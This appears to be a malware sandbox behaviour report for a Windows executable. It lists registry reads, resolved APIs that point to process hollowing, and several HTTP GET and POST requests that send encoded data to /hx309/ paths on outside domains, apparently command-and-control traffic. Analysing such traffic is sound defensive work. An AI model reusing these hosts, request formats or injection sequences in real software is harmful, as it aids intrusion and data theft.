HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\E45F009E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.GetTimeZoneInformation
kernel32.dll.GetDynamicTimeZoneInformation
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
shell32.dll.SHGetFolderPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFileMUIPath
kernel32.dll.LoadLibraryExW
kernel32.dll.FreeLibrary
user32.dll.LoadStringW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.CompareStringOrdinal
kernel32.dll.GetFullPathNameW
kernel32.dll.SetThreadErrorMode
kernel32.dll.GetFileAttributesExW
kernel32.dll.ResolveLocaleName
bcrypt.dll.BCryptGetFipsAlgorithmMode
clr.dll.CreateAssemblyNameObject
ole32.dll.CoGetObjectContext
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
clr.dll.CreateAssemblyEnum
kernel32.dll.VirtualProtect
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.GetCurrentProcessId
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.CloseHandle
kernel32.dll.OpenProcess
psapi.dll.EnumProcessModules
psapi.dll.GetModuleInformation
psapi.dll.GetModuleBaseNameW
psapi.dll.GetModuleFileNameExW
kernel32.dll.GetProcAddress
kernel32.dll.WideCharToMultiByte
kernel32.dll.DebugActiveProcess
kernel32.dll.WaitForDebugEvent
kernel32.dll.ContinueDebugEvent
kernel32.dll.DeleteFileA
kernel32.dll.IsWow64Process
advapi32.dll.SetKernelObjectSecurity
advapi32.dll.GetKernelObjectSecurity
ntdll.dll.NtSetInformationProcess
ntdll.dll.NtProtectVirtualMemory
kernel32.dll.VirtualAllocEx
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.ResumeThread
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.WriteProcessMemory
kernel32.dll.ReadProcessMemory
kernel32.dll.TerminateProcess
kernel32.dll.CreateProcessW
ole32.dll.CoUninitialize
oleaut32.dll.#500
advapi32.dll.EventUnregister
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
cryptsp.dll.CryptReleaseContext

Execute Commands

"C:\Users\Seven01\AppData\Local\Temp\hujayega.exe"

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-05-14 08:16:22 2018-05-14 08:19:15 173

16 HTTP Request(s) detected

http://www.ocond.net/hx309/?t8r8=mKYMsOAMUUL+HoYQkZWHIlX/kk0Y7kBmu+uRJpFm2yRZSc2J2hi1fvaDb85JXwq/8FE7VvJP&9r4P-=J4k0
  • Hostname: www.ocond.net
  • IP Address:
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=mKYMsOAMUUL+HoYQkZWHIlX/kk0Y7kBmu+uRJpFm2yRZSc2J2hi1fvaDb85JXwq/8FE7VvJP&9r4P-=J4k0 HTTP/1.1
Host: www.ocond.net
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.useinspired.com/hx309/?t8r8=LLrxqDFNHYll82eAVNtcW4HccrMwlVjb+EXsZEl3LwPB1FDJX3GRn62VaLy4asYFRJXCXhlZ&9r4P-=J4k0
  • Hostname: www.useinspired.com
  • IP Address: 91.195.240.82
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=LLrxqDFNHYll82eAVNtcW4HccrMwlVjb+EXsZEl3LwPB1FDJX3GRn62VaLy4asYFRJXCXhlZ&9r4P-=J4k0 HTTP/1.1
Host: www.useinspired.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.useinspired.com/hx309/
  • Hostname: www.useinspired.com
  • IP Address: 91.195.240.82
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.useinspired.com
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.useinspired.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.useinspired.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=DpnL0lElQPwU8AD1SKVDO8zPLJky10jMgUuPbWg6ejbPzUjVT2Kiw9D5eMqia9QWAInMOWpVXTZekeR2VL0kIBnae8Ubfskp4cuDLdI-QneKP3iTRm0kMBGL7TBeqqmB~MfVz_ev1R9e~QWThyqOVF3wCilFgSiYBKXJ9a351dHVPmL4y4H7gDjhLjWRwjpinFxoCckg0KAGqoXO6MXttDvNvIgkGnX3T20rbnasFidli9ejIYXuqz(0tUm1(ayuyerWLHqP95NrcoD599IgPE8J(O5ik9GRczTDC6dxRBtgts0kurz58-3EQwXwVYNoTDKqckIt~36iLNO3e3BjjU0qvb0nroACquMycHTIUPJhzLxyajS0LHHo33mq~X(pc7bidlW_mVeOYyM3rgsnK9Z7L_Qm~60Be7l4RKz6ZLL5EE7R(dko7aU1VSo4(B8J82PcJjPRkxWtFxITB6sBQqADsA07Vh6uRjBp~9BHYk~0Alc1XTX3cH(YzsnDC7Q4Q2LR2ENPcEyj7cJg1HQybBeUN_1Zf_NZFePVwa0Eyskj8NY6mk9cGEDR5aiqDtv668Ob~Foqxq3XoGQh0RxHf4(p~9gvFxDGqBVYetWIPyVp6cGxicmNOxnYqdcmNeYIRdAb7j1_WFXayop9Ag9w54M5dzpjRUFECy~kGhNymDutZFfkRTRJO89expPiRQTk6qUvTNtYAgXO9dGgBXr5nBLGH6e75v~wPLeItb0wJNubGcHHpvYV4pdrEdlyC2zJO7y-ILEafIUIPt2Qh8D8BRI4tO5JQ5ysnFeWK0gdyI9tD27yZIVQGOC7bs7wFhncBKeo~nmaFYqlyETYTo6RgYsb5uKftphb6mqfUc3b0jpJwqCOc49mktEETP1y~b3UeDZjONWqS-Tcb9NLBCqrFJkmjhXHk6ZPyW9xdWvDietr7HJ2SnsYTjpVZ3~c2QUFUus14z9H1C6onIbBuasL5XscpocVdrbNk8OFzrVWeFMyIRS9sQ5x9OZt6qtbEfNo0gjNI603HvjEGK2lnP(OD7eWnQ7sH1(Ar3iqG7SMNOEzklZXT9NLyDqM16JpUiXDTjqQPXnnFZkuvrE-xEq_C48tzuqXH1nXDFZkV2fCpHBcP9(O5qo-kWSUuSzT34DXXX(wVI5g7PeCIaNrUwpdmwKmyT5hoU4ygEiYdE2XJMKabFUU4ikIxprwHEhGeafCFgQ3YHVSqOzfJzdvwgisOBwPMY8GIemtM4AyujE0WsnvIShjD0uBBmSJWdToHC(6oRJ0QS4m7uHHplXoDJewanKqjTL-8z(fOPyR4_1bWsxvoasmWRF2BB5jaCl978nr10E2PV0mZKOrhzni(XribVnxoWSdK_36gLwl5-sCdIuEhM5-xAH1G2EX6IP4xpWoBluja6cmeCbzRo3f0XMiKcxeBhkywFE1GGSj24oMQtXypvyAdyMf0LSltlfj21726hFnnpfRz9MLyu6pE-9ouegZl3gkcs(GjBNXUvffY0zBm3vtwEqTT5OCF0tl6ccy6VBHTyA_OzJ7pbQfHBUOQDaTutwqREvqMBjp2fIya_ac6NPUX-iJBLC2QJV-OYo0XNd1HYX2JF6900Sy5b2tOYYf~4sd3UmRC9hO7Z4W1V(DZnZQFDnQMWLp1Icl9pmFXChBmoPOXu97tEomw4MD8wrSniatIBBqh1SWiZl-Z4A6dy(z8j38reNTN79NLD~fgFFmL7UmZLsF2b(YQtJq54uOxaOHJGcz3HVSc31myAQNaCBSm-LGKASS~n6ineqCP0j1w-HRuMWdJza6ggci87RoLgkkbSARcHs9oA8l(v3LVTjtH_0GQdhS(Qnts6De0F6hWdaah1mwPMFYG0oqzSrBBRiAcoXe0sEFA2yqjuQ6fxZOT7KDYwbKQwolkGzOmbc-CSATjnQAj7AnF3M5~DhG60SqUFIfsv(_Qw7vNmANQQ26wqYBVJ8Q1VUyaUadcCcQe6~qAdHRUVDR5Ck9mxVVDeai35xqzyZQAn5XyBxuAMQHznLnr_GchIySL7g4jVtZjLrqiNuPrA01YbXqi4XM~y(wuTTpW3hvZG8mDe507yXfxtWGeVFQ2FGzk-7Tyjih1KEGuTuHQ0p0ntO1xNQ2dkNs7S9_2x0z0kOJDUoWeT97iLFTV4gLQg9qHy7xte5P7YnkduE9\x00\x00\x00\x00\x00\x00\x00\x00

http://www.useinspired.com/hx309/
  • Hostname: www.useinspired.com
  • IP Address: 91.195.240.82
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.useinspired.com
Connection: close
Content-Length: 57150
Cache-Control: no-cache
Origin: http://www.useinspired.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.useinspired.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=DpnL0kc2W_9MqyqNWLEeD4O5fpwCuErZtjS5bWQ2KSLClFTVCAm559D6XsqlNtsqJ4fEOUEyXTRdwutvTtBkKRa_WcA4VPcm56nSMcA-e26bQ1aITUcWOhaF0ypbj5uw(pPZw6qUkgFV6y(GhQK4R1jzKBZDhx2mPvjngq(m99zTERHKy8XotiTyZAGqsFMXjGdoEoh_6oIElLeT3_P-qz~p5dcjD22_WyU7UijQIDFXoPGbO4DhnH6UmHGa8KOr1cPOIm28(LBnJpjN6aQoPR03ndZix8mXdBrba6dKTFBWmM1RurHhtdH2fQX2IOV7DTCEWF514FSiaf7rJloys001vNVxh-sZqucuc3bIVNdh5LhxcjS0BnHq33my~X(Qc5LQcle_u3GIYA09jTwTF9ZnGeRitrYpe6twRqP6Vav6W1rK3skn07glbxJ_(B46(yDmMCzAlxWsNhFPDPBeLvkugjkuGB(7WDV69fRLZna7NFYLbB77b12K3taAMr8DCGfB~G5dY0Gl7pM30mlrWhjmCcgAY7xmBvG3xLxNq-M_2Nd6gXIdAmyJxMCkJunB8POcllwVia6Ps3dT6TN5IanjqN9NJTTw9zF8I_W1F1cP9qjk~cLtFyv6jfYSI7oBZcwdxgNySl3v6fkADAZAnJNRcnJKWUMmM3ufQzlTwTKAfRP8KT8oJe14mbHPVx7A4K8QLapJC0O28P6QOE3Sh2PjOKOz4dWdPNGMtPowIOibM7zYpMASwZdtZNllBGvRO-(9LLAaOusGOuffy8nLchIwvP1SGJTcnGvNLwYNk5luG3a7NoVXGv~QSM3DLBXiA7q4wziKDay10TndFqGckb1O4OGBk7UL1EuZZPfL7A5Nua24QZVU6aIvdrRX5JbBdzpBLeaXccbtDf0xCnXbY5ZAsCPYnpQa5AkZPmD9oI19xi5iAmEACixWZGG2khpBRcp3hioe9RWnmJ24k4Qm1jovt4R8SPOiuv3I2dB3Nn9iM1WRxFA6gd5b7IguIuVqvHTfEtBLG-6uE9q3ofKjLqn_mA(nA0rolgOBAMulD9pQnX1FO9xv1ii-yplEZn6OQRyRCEWiD48XsZ4OrVvzToEIx_S2R0nJDA8IUXLCp3JcPqrOwL0D53fKulzzpYbaBlLyQqBWo8qPZoZuCEkggmKE4GJS(F83hVa6a2HrJOqaciMr9BhqwreyR1paYLzvI08jXXx7~K(FARN2~GCYF3tMJr0taeWkE4sGthtEW5fVLyIhCyzreGWbPeDULirdnW9cYCMr0dOehzjyRv2CNXjFsRW8hlmzePas9Z5eTNoWy4ZMA1A9fBE1ZyFIyuL5~mQBWA1tQfedlTDI03TOVT(Qqmv-Jsjq5qFl5d9aedOMofFtyT3CGUkwsoux~7vwL0aaIfALXmrdVYjY4TINSYYTNDQQ1k0CImWHztQacfXIt5jORFQA5rSwn1H350P26ntZ(ZKFzOYBy_7dH7hF7MgYmB1DbubcullQC9bBdUrVo0GIz0yxCNLfSE4E~psx(RQQelkuODpD(7sfB1goXCL-vJM2fVeLODS79706a9~b6s3xeOmOd627SNAdEZMBbtVAacLOCwefsg6y0KapbvBc96YT2TSdJ7IWt6Us1FjXf0tEATHmDHfj2cgP3beATC15gIDwZoA64GQttPFFzx613CarbxtLgFu-iYd1XJQ5d3LwlGDzssNNYug3KAGI321OE70iBuwa84HPB95z9Jqqho6xInNWwmItLlQewxAffTYDpsjXO2ip(Wy_hsaGAljm6aTojrnuW0S_hmQ5u7ljGSlma04FfCBehDUL5sPWZFvhA7sLKZBQ2VLU(LvRy3qXEOudgEawZfMQWk1z3zCDJx~_S5XuzfA_XGDck_QFLRhJT7SjQgapdyZUvlKyu4ZlMzk9oUEhg4YlJnE5l2hs9AXIRCQkhPX7TUXMfV8QWWik~5cXQdc_1l9kQ1mIXhwrUZy0c96ZBhjD6DY6swcIC_WG391A4Rt5XnlSuE80H-M3imn_rfiW3rCiIv42nQV0jb3WhN7xmlRUe6jllrGMvAnGqTywWSRxUkcUMc9P5mzGufmGRXYS(0qMwdbbjkqo24Z6qw6UX2FQv8mSsON0DX8V9Vcu9ihq7m24VngXMAF19KcMDJNsZVl2H32_nfU_5JzIbe51NkAmsj~STMGUFhCAfUdJyOh3M1vVv1NgS26x1F2xCiPRwZsnDQtLIXfvsKu9xScTPIgJfTkIA3pORPNCpIdAk_xlRUWXP0ly3-78~HBe2mxwgmQhEI9PW0O9J4wZNJLuxUK_iwAVf9vsPxHVy9dJLyudwri9FfR5IuUSYQms1bYBTEWIgjjD04oZr5x3HDS7(TStJCDC00M7mknDoLOBU

http://www.reit.ltd/hx309/?t8r8=glF3QBL5Z25Xr9VchaQ+I8lgv4F4V0Z0GG0HsKBU3mwH/hgDJ2AV+dLrXQIFawh3YowIiwA+&9r4P-=J4k0
  • Hostname: www.reit.ltd
  • IP Address: 37.152.88.55
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=glF3QBL5Z25Xr9VchaQ+I8lgv4F4V0Z0GG0HsKBU3mwH/hgDJ2AV+dLrXQIFawh3YowIiwA+&9r4P-=J4k0 HTTP/1.1
Host: www.reit.ltd
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.reit.ltd/hx309/
  • Hostname: www.reit.ltd
  • IP Address: 37.152.88.55
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.reit.ltd
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.reit.ltd
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.reit.ltd/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=oHJNOlGcHlBTroZQi_5gd51-oYluSFVYf29AxvdVglE4yiA4FXEdht~zb1dgMWZmPLotrWkzngNUY6q1fJNhzVCEpx2-3ZWdK8lk8R5-dhVDxMyFOe4h9asX4N4yvNix6ztyvgHt8nMf6wk3J7hItzSQ5_zcoEhCfF(kA8jpNUD_scnu6SvEXX7-cZD-aSU59mtIeLyGM3FOeIPltGjeHD7ZlIwv1acOopsuj2w96ZClBpDj(cWhwwgh86ZCtqxi3JSr0maMupk3lM8mAX33ig88DB~oMekHun0z9FiRLUbSn4CNqtEmb4qFkXfxkLbkQR0NVC7XUCbOPdQ5H2QJgZ3O3oxl7fdj6XX2ET9w7finLL~NoH8QdLficrPt0yOYfFMeXBM3bS2pd-8X~ExT47KbeGytHJAot49nJIWPnXkGy9RktV5gRGwwF50kke9N1jUlIGbSUhMuH65HKcjHjnPXtR4Fd07Z9m6iu3H5Z4ZBaSk2yWhEqklhJxQdyfoayT4sd8bCtAy9HiMTzyoVdg8q4Jkx~eNOSIPS9AuVfdlTtOlX00Cp3W3CoF1x6EyBtPVj5EMHf-FbY1M6IdHahKMtTD(ter2CzAYjGwOmI1GwJmIH5zTZ9JdCOKgkYwaivFz5hPXOhcyPdsZBaRZBskZwyE1lLWEC8Hk-V9TW3u9Jnd92Ipc7jDJ5Xt5t0LiYNXGxdYaYpFKI4Z(WtgmuqAu0UJHXGN3YQPE1YVML8z9DD22CQlLnT5WejxyVCZwsL4DxUhAimE1AMUFnmjn6FPD2lcywevqC~Sl9NKaTnaB-Feu8xkGKZ8ymONdXBnkMHRddajz7MfQrEzM3OuVhiuhTBug13gjzvB75VL0y2xUiY8mXpvs8BhvZvJq-0KLN(r3t~V5hFYEqgIPx2Xq_hCw79mFcG1jylVCup9HwlKrtcAuJBFcgW9UNdekuimri9ewIXegEzZQ8nZCZ4ng4YN(3cZLugvqthgYA5-JvvZn4rPpOITx4Qe6CSj9F015ecIrGvs0EybyhSKopukC-g8KSSDGlp_MddQaHhsm3I8mpZqg7qvz4vq(Bl-~gFrBxHWfZqdYtP4bm(f9edPDDhSFRRs966YWHle3nz9IoLrIX2UP05P5MKTEDX6LnXOGT5kO3lxZbN1Go3BkG2ZHPfwuDqR9Kui2OD79TosipZQDJARmmDwGbxkowGN7Oao28EntvMELbL7H_hTFkQbQHRi7CT1rTOx9yQBGHwvTo5XcjemEioe5XGeCL8MkscD0SF2e4ElPhFI6s9D8aQXv0xti7OZG6jsxxK7pVBBLFd8PCuvUHPiUUiykhpcKDk0QaZPBZAtj0jKWeX25GroGWPCHY2nb88fbjZs4ejCvamsx6GKE5GL1rYV7dyaQtANjvCjMSew9D1RT12cghfyxK6rO5sl2NA18oJQwgli2dL6sA5JGFQ_7-nsNgMgNiiAFBjnYcNN8ujk0VpT(kuP6kft28W6rLpcvsD1EwFPjjs06i9Uz-JHvueVag~tkbrEbb8tP9hMhrtBRxGYmymygiuhxbWY0TPpI5nsqlfftezN0ZRn2r2JyAwX4TI-68ocwo6Q1RMSEyI4svjgHXSGA_hDKLsv7y5Gz_HOXKpLaITz5htd5aNyYIHL8y2EDgUQoNAWn7MNFJNd2YvZZ-Tf92(3m_4SYmjyA5NLnc7HSYJZkWCdVXMctr8X9KO5pKv_uARUuXakG67whZ1cSMEefgTr8IT9X8BdNPv41FV5pi2r1Ogqcwdch0tpep6ljXmJgWHVf2vG9KCnneen~AnTlTpQc2mnsF~KyoEMasTEG0~vrlupWq7eq77YPBMHcv9f8taGJukt7YiAW1IVAtvCNChfi6Y6X8kKxDt68_dMZLbk5aX6xBZlQQhTFIAcALkGGUWDWIrda2xjx9kWXIKZaYngM4HIqXA1a4vhx6K9qIIvcTGs5lliSxoofH71jf3R0p5SgCpCjELE7EfK2EAEfD98nCotVm6_bHbuLYqqoPU4IVcj9_B9cN7iHDAb(26LakHDSNa6FMUVADpnmleuueP-axbwnNV4rWyWgsCX53ME0iH9YEtggY9avUgzHVU7~aVSV5aB2we4YhJaPKdJMgVHtQH6ZgzCllD1AdK_s-0ebKJZ6LM6up4yu4NX(3O1GWU5gtqfZR~C8C\x00Qg9qHy7

http://www.reit.ltd/hx309/
  • Hostname: www.reit.ltd
  • IP Address: 37.152.88.55
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.reit.ltd
Connection: close
Content-Length: 57150
Cache-Control: no-cache
Origin: http://www.reit.ltd
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.reit.ltd/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=oHJNOk~iFV1C8cgqm6UlQ4EOgIx0b1tODRhqxrZR7X8U1BI4DRYeot~wPFdhIWcTNc01rXxWngFXMrawYr12yF~8gRSr9KueKeZ47UN-AghNrJnGMscT1awVwsR-1v6M6WU7ohmC4mkA0ycLJd96ySiTre3emH18eAe5cM76THj5pMGZ6T6ye3qKS4LFXE4pqB1If4ysUlNAC_DH616mBzn8iJAo5q8UrqE-u18G8tX3Pbrx58C6vwQAwbdts6Mj0L2jwCS3rec7q8dbD07BiTlRX2ioEvEBtls7jVitNUzOwoD0qsU-aLb84ne48pPRaQQvfnf9VzLOdMgqWl4Sv53R4pByxIkh6XHEFjFw6a6na7uKqH8QXrfgcrP10yPMfDwSWBE3dSivdJ9a4XtzkLLUdDf4KtIEt5lJJsiPgnAFwdtgrE5neksgLZs0kexI0gdGPkfDThMhJudQd-LD5CydkyZzO3H_8Gu5uUX1Y_RdTyBUk0NAoVVvER8Fvb8hz3QWMvf2vAG7EUAvxTtUUABOg7Rq7edhDpHv9TyBX4hPyepAk374hnvTlTl3swuA5udk2V0Ce5N-OUwVJ-6NmbgJFTiZWKOsqVstXCObNSf5Ez8h1DPM4sJoHIEMeQujiED_8cvtl9v0RfZ3TRNhojlM0UpHMX9oiWxYCfXjzMw7ts5uSoxcpEdTafBP5On7P2uOfIyBrUfw1LDcjy6N~i~NZ5XfH9GCQPMpYFIL(zZDSFuNQGj5ZJWctRzKM515L6D9XhMig2tOPT5xix7dBPD-2N~FUMSV~RJpMJfks_d5O-P12kGNYdfQHtRsc20qHhYQR2Trds5gGg0yLK9mmuB9DOt4~1ahgkD_Q5dpugcuGtzsruE0LCnM0cG5weyH9aG04FVcO50XuaGS2z3Y~SlXj09PHnbGilbEoeLSrZf_Sk3KAVBnRv0KduN3gEO9sdUhRaxf1pUz2tKh1HFSefuXSZPYsLGe4HFP~dpCqOKostpcVG5Te9LrSARzlkRcVq216rgNzNiUUZYR6kmCmJP5VTCTq7slQHu8mPnlELHRaYtgldmVipPzsIuNf6JhEgTcjL8KIcSc(u5uQO37wgU9dcVltLORlfHBqccoK7QX3Ev0wt86XW8rWNCCJviepSe1pzx-Kjat9jglurW0UCq9gE9X1QalNr1bg7GoZW3JA2GwGRrSwgwjGtDSb7v6WC1gEQjyVIS4q0hHc6kWaXHWWB7wfxs8P230zpPd4GAZcHtopcQ1EuWjpM86eDhAaBKqPxH8O4KClhRRHQT8~puvFabgspppMIpSOAylPLq1iMhnPzEO7AAAoNrNzxB5e90lJP(yuYrhP1l0z8L7AHGm72qG0u3dAopEjnrx2NdycrR5K5lmZ0D6g6w5CeGrRndsPztu6xG07NUicSZTx6ixwTvIZhw5cg8cg3OLNqUuy_3qVsKvysM5Xhl20TlBjnAQX9pkiTAfqC~QpMLGUIKoGoSUqeb6YFQ7BtnX(H7l3THYK3nMYUqw6sY56G3Y5pfDtb96tzpdfZKyqiAH2QAKX4NQKaRYvOq5aeNGzPAeRH~OspmNun8aO-aes_87(QNkTQlLQcwJv2LXeSg7rkjKzcP4rUb7dcDnu43ATjl1sP9GFz4qJao4gXDWCCQIEWjPOtYqVKeMkvN9dfw6w1fe6iZ5v24YCbiA7DSTPY0VCctUAtFe(gVECY4tpK6uW3e3cHfz9Dha8-alN7O8e-csGPjOG881i_cyT6Nvk6kDqZ8eE-JhqcOS7UqHh7AScS3hiklBPGf8d3C7kW5InAA92D1Z(pekKtj_dHes2MC78rXb4bS6xo7LOmV71PZ6DD9moOTbyii1Owcg4VFQl_KSb5jD5Lx3oLhKK7czaF51DaZGZlIwuDEiH6M5si~fZgjTsfmY~REZjV(KEJCY~T5RWs31Qn3ejG1mMdiFHuIQAp9nvxWnt4KN7mzyhjwWkAMDmgvgWDbBSKiaBGbE05L6qMYP69bYXK3EuatFRNlRZRhPAsA0pVm4JIfG06GyZy3ZbqYzY01x2SabPvKRE8KkaiPvCILyy3MuM1JRbylEPNEjuhIY3Yz70QDcdJ~sYF1Sc0GlU5U-A4DuJpRCYXxLC91GnwwGJkNbJaglktTMI-WJb4yhvE78IQHJPxetSIApoOFs3FxU1HtNfcs7Vjb32b~LNZTtv_EwroQwHUO5emSChS2ymFg_AmH5gcb-iPAEbssc~UCizRtgumOhIYTSsIrvLjlGDEwCPzNNfCsdCU7uk8R0h0(VnkUhTrFcxOif5Re4p6VSZ0tHysUZprzL61Q3bOyhPhhJ6ZoLfguaLpzjfkfkObpPSueIF0AfaQdGaEogBiI8dLeCbQg-OLl9axBVG7~cA6jwq1X-w2~56rnPE_VB3u

